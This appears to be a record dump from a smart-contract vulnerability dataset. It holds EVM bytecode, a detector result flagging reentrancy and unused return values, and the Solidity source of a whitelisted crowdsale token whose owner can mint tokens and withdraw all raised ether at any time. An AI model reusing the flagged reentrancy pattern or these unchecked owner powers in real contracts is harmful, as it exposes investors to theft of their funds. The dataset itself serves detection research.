60200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122052111c23939d166a577141aeda86a22767cc4f821998e551c31c690f1512e75464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,732
0x6d47fcdff66b88f24cca771f79d86942d4c0085a
/** *Submitted for verification at Etherscan.io on 2019-07-09 */ pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract CrowdsaleInterface { bool fundingGoalReached = false; bool crowdsaleClosed = false; mapping(address => uint8) whitelist; mapping(uint256 => address) holders; mapping(address => uint) maxInvestLimitList; uint256 _totalHolders; // you should initialize this to 0 in the constructor function enableWhitelist(address[] _addresses) public returns (bool success); function setMaximumInvest(address _address, uint _amount) public returns (bool success); modifier onlyWhitelist() { require(whitelist[msg.sender] == 2); _; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ // function transferOwnership(address newOwner) public onlyOwner { // _transferOwnership(newOwner); // } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TokenTemplate is ERC20Interface, CrowdsaleInterface, Owned { using SafeMath for uint; bytes32 public symbol; uint public priceRate; uint public minimumInvest; bytes32 public name; uint8 public decimals; uint _totalSupply; uint amountRaised; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(bytes32 _name, bytes32 _symbol, uint _total, uint _weiCostOfEachToken, uint _weiMinimumInvest) public { symbol = _symbol; name = _name; decimals = 18; priceRate= _weiCostOfEachToken; minimumInvest= _weiMinimumInvest; _totalSupply = _total * 10**uint(decimals); _totalHolders = 0; balances[owner] = _totalSupply; holders[_totalHolders] = owner; whitelist[owner] = 2; maxInvestLimitList[owner] = 0; _totalHolders++; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner&#39;s account to `to` account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyWhitelist public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) onlyWhitelist public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyWhitelist public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function enableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _addWalletToWhitelist(_addresses[i]); } return true; } function _addWalletToWhitelist(address addr) internal { if (whitelist[addr] == 2) { } else if (whitelist[addr] == 1) { whitelist[addr] = 2; } else { whitelist[addr] = 2; holders[_totalHolders] = addr; maxInvestLimitList[addr] = 0; _totalHolders++; } } function disableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _disableWhitelist(_addresses[i]); } return true; } function _disableWhitelist(address addr) internal { if (whitelist[addr] == 2) { whitelist[addr] = 1; } else { } } function getWhitelist() public view returns (address[] addresses) { uint256 j; uint256 count = 0; for (j=0; j<_totalHolders; j++) { if (whitelist[holders[j]] == 2) { count = count+1; } else { } } address[] memory wlist = new address[](count); for (j=0; j<count; j++) { if (whitelist[holders[j]] == 2) { wlist[j] = holders[j]; } else { } } return wlist; } function getBalances() public view returns (address[] _addresses, uint256[] _balances) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; //////} } return (wlist1,wlist2); } function getBalancesAndMaxLimit() public view returns (address[] _addresses, uint256[] _balances, uint256[] _limits) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); uint256[] memory wlist3 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; wlist3[j] = maxInvestLimitList[holders[j]]; //////} } return (wlist1,wlist2,wlist3); } function closeCrowdsale() public onlyOwner { crowdsaleClosed = true; } function safeWithdrawal() public onlyOwner { require(crowdsaleClosed); require(!fundingGoalReached); if (msg.sender.send(amountRaised)) { fundingGoalReached = true; } else { fundingGoalReached = false; } } // immediate withdrawal withou funding goal reached and without crowdsale close function immediateWithdrawal() public onlyOwner { if (msg.sender.send(amountRaised)) { //fundingGoalReached = true; amountRaised = 0; } else { //fundingGoalReached = false; } } function burnTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); balances[owner] = balances[owner].sub(token_amount); _totalSupply = _totalSupply.sub(token_amount); emit Transfer(owner, address(0), token_amount); } function mintTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); _totalSupply = _totalSupply.add(token_amount); balances[owner] = balances[owner].add(token_amount); emit Transfer(address(0), owner, token_amount); } function transferOwnership(address newOwner) public onlyOwner { require(!crowdsaleClosed); // enable newOwner to whitelist _addWalletToWhitelist(newOwner); // puts unrealized tokens to new owner uint token_amount = balances[owner]; balances[owner] = 0; balances[newOwner] = balances[newOwner].add(token_amount); emit Transfer(owner, newOwner, token_amount); // change owner _transferOwnership(newOwner); } function setMaximumInvest(address _address, uint _amount) public onlyOwner returns (bool success) { if (whitelist[_address] == 2) { maxInvestLimitList[_address] = _amount; return true; } else { return false; } } function setMinimumInvest(uint _weiMinimumInvest) public onlyOwner { minimumInvest = _weiMinimumInvest; } function setPriceRate(uint _weiCostOfEachToken) public onlyOwner { priceRate = _weiCostOfEachToken; } function () payable onlyWhitelist public { require(!crowdsaleClosed); uint amount = msg.value; require(amount >= minimumInvest); require(amount.div(priceRate) > 0); require( maxInvestLimitList[msg.sender]>=amount || maxInvestLimitList[msg.sender] == 0 ); uint token_amount = (amount.div(priceRate))*10**18; amountRaised = amountRaised.add(amount); balances[owner] = balances[owner].sub(token_amount); balances[msg.sender] = balances[msg.sender].add(token_amount); emit Transfer(owner, msg.sender, token_amount); } }
0x608060405260043610610153576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062113e08146104d457806306fdde0314610588578063095ea7b3146105bb57806318160ddd1461062057806323b872dd1461064b578063313ce567146106d0578063502dadb0146107015780636786ed0e1461077f5780636d1b229d146107ac57806370a08231146107d95780638da5cb5b1461083057806395d89b411461088757806397304ced146108ba578063983c0a01146108e75780639c09c835146108fe5780639e1bd1131461097c578063a9059cbb14610993578063b10ed487146109f8578063bab4898e14610a23578063ceb791d914610a88578063d01f63f514610ab3578063dd62ed3e14610b1f578063e181587414610b96578063f2fde38b14610bc3578063f660c57014610c06578063fd6b7ef814610d02575b6000806002600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415156101b457600080fd5b600060019054906101000a900460ff161515156101d057600080fd5b34915060085482101515156101e457600080fd5b60006101fb60075484610d1990919063ffffffff16565b11151561020757600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158061029457506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561029f57600080fd5b670de0b6b3a76400006102bd60075484610d1990919063ffffffff16565b0290506102d582600c54610d3d90919063ffffffff16565b600c8190555061034f81600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5990919063ffffffff16565b600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061040681600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3d90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050005b3480156104e057600080fd5b506104e9610d75565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610530578082015181840152602081019050610515565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015610572578082015181840152602081019050610557565b5050505090500194505050505060405180910390f35b34801561059457600080fd5b5061059d610f1b565b60405180826000191660001916815260200191505060405180910390f35b3480156105c757600080fd5b50610606600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f21565b604051808215151515815260200191505060405180910390f35b34801561062c57600080fd5b50610635611071565b6040518082815260200191505060405180910390f35b34801561065757600080fd5b506106b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110cc565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b506106e56113d5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561070d57600080fd5b50610765600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506113e8565b604051808215151515815260200191505060405180910390f35b34801561078b57600080fd5b506107aa6004803603810190808035906020019092919050505061148c565b005b3480156107b857600080fd5b506107d7600480360381019080803590602001909291905050506114f2565b005b3480156107e557600080fd5b5061081a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116e9565b6040518082815260200191505060405180910390f35b34801561083c57600080fd5b50610845611732565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561089357600080fd5b5061089c611758565b60405180826000191660001916815260200191505060405180910390f35b3480156108c657600080fd5b506108e56004803603810190808035906020019092919050505061175e565b005b3480156108f357600080fd5b506108fc611955565b005b34801561090a57600080fd5b50610962600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506119ce565b604051808215151515815260200191505060405180910390f35b34801561098857600080fd5b50610991611a72565b005b34801561099f57600080fd5b506109de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b1a565b604051808215151515815260200191505060405180910390f35b348015610a0457600080fd5b50610a0d611d13565b6040518082815260200191505060405180910390f35b348015610a2f57600080fd5b50610a6e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d19565b604051808215151515815260200191505060405180910390f35b348015610a9457600080fd5b50610a9d611e27565b6040518082815260200191505060405180910390f35b348015610abf57600080fd5b50610ac8611e2d565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610b0b578082015181840152602081019050610af0565b505050509050019250505060405180910390f35b348015610b2b57600080fd5b50610b80600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061204f565b6040518082815260200191505060405180910390f35b348015610ba257600080fd5b50610bc1600480360381019080803590602001909291905050506120d6565b005b348015610bcf57600080fd5b50610c04600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061213c565b005b348015610c1257600080fd5b50610c1b6123b3565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015610c66578082015181840152602081019050610c4b565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015610ca8578082015181840152602081019050610c8d565b50505050905001848103825285818151815260200191508051906020019060200280838360005b83811015610cea578082015181840152602081019050610ccf565b50505050905001965050505050505060405180910390f35b348015610d0e57600080fd5b50610d17612624565b005b60008082111515610d2957600080fd5b8183811515610d3457fe5b04905092915050565b60008183019050828110151515610d5357600080fd5b92915050565b6000828211151515610d6a57600080fd5b818303905092915050565b6060806060806000600454604051908082528060200260200182016040528015610dae5781602001602082028038833980820191505090505b509250600454604051908082528060200260200182016040528015610de25781602001602082028038833980820191505090505b509150600090505b600454811015610f0e576002600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168382815181101515610e3657fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d6000600260008481526020019081526020016000206000905490610100